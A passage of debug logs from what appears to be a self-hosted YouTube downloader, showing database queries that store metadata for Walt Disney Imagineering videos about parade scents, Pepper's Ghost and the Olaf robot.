db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.145 [debug] QUERY OK source="media_items" db=0.5ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-22 18:19:51Z], 2] 18:57:21.147 [debug] QUERY OK source="media_items" db=1.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "1b863174-d97e-4063-9af1-f2c25abc3518", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", false, 166, false, 9, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].mp4", false, false, 2, [], 98, ~U[2025-12-22 18:19:51Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "🎄 Did you catch those hints of gingerbread, peppermint, and pine drifting down Main Street, U.S.A.? If so, you were probably watching Mickey's Once Upon a Christmastime Parade at Walt Disney World!\n\nIn this episode of Imagineer That!, Tom Morrow 2.0 investigates the magical tech and behind‑the‑scenes secrets Disney uses to add those unforgettable festive scents to this beloved holiday parade. From gingerbread houses to frosty peppermint blasts, we’re diving into how Imagineers make Christmas smell like magic!\n\n✅ What you’ll learn:\n• How Disney adds scents the the Christmas parade\n• Why scent and the other senses are important to Walt Disney Imagineering and Disney Live Entertainment\n• How a robot can finally smell for the first time ever\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → https://youtu.be/b7hgSAMfqe0\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎄 in the comments if you love the smells of the parade!\n\n#disneyliveentertainment #imagineerthat #disneychristmas", "Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!", "KcrIWZOXOGg", "https://www.youtube.com/watch?v=KcrIWZOXOGg", 166, false, "/downloads/Walt Disney Imagineering/2025-12-22 Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That!/Disney’s Christmas Parade Smells SO Good - Here’s How They Do It! | Imagineer That! [KcrIWZOXOGg].mp4", false, 2, ~U[2025-12-22 18:19:51Z]] 18:57:21.148 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.148 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 22:30:13Z], 2] 18:57:21.151 [debug] QUERY OK source="media_items" db=2.1ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ *What makes this special?*\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "5e7f84d8-ecbe-46ad-81df-56ccb6b7f4fb", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", false, 272, false, 10, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].mp4", false, false, 2, [], 98, ~U[2025-12-08 22:30:13Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ *What makes this special?*\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", 272, false, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].mp4", false, 2, ~U[2025-12-08 22:30:13Z]] 18:57:21.152 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.152 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 02:00:44Z], 2] 18:57:21.161 [debug] QUERY OK source="media_items" db=8.2ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → https://youtu.be/EoPN02bmzrE\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "76360010-1c4a-495d-9ec7-e8753a821ea2", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", false, 116, false, 11, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].mp4", false, false, 2, [], 98, ~U[2025-12-02 02:00:44Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → https://youtu.be/EoPN02bmzrE\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", 116, false, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].mp4", false, 2, ~U[2025-12-02 02:00:44Z]] 18:57:21.162 [debug] QUERY OK source="sources" db=0.2ms idle=12.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.162 [debug] QUERY OK source="media_items" db=0.6ms idle=10.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-24 17:00:18Z], 2] 18:57:21.165 [debug] QUERY OK source="media_items" db=2.4ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 *Key Takeaways*\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 *Chapters*\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "3da0fb71-c4d0-4c4e-920a-8dca609b5013", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", false, 1948, false, 12, "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].mp4", false, false, 2, [], 98, ~U[2025-11-24 17:00:18Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 *Key Takeaways*\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 *Chapters*\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-experiences/go-behind-the-scenes-in-imagineering-video-series/\n \n🎥 *About the Series*\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 *Explore More Episodes*\n👻 Foolish Mortals → https://youtu.be/CXLICqOYoh0\n🏰 Building Castles → https://youtu.be/dQ_xNj7gkM8\n🎤 On With The Show! → https://youtu.be/Xsrad7a9878\n🎢 Let's Ride → https://youtu.be/IuQPrGLo0QM\n🎶 Soundscapes → https://youtu.be/BSzRyCC_EaU\n🦾 Audio-Animatronics® → https://youtu.be/1e1R2vUORGI\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", 1948, false, "/downloads/Walt Disney Imagin (truncated) 18:57:21.166 [debug] QUERY OK source="sources" db=0.2ms idle=13.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.167 [debug] QUERY OK source="media_items" db=0.6ms idle=5.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-17 17:01:07Z], 2] 18:57:21.169 [debug] QUERY OK source="media_items" db=2.0ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If 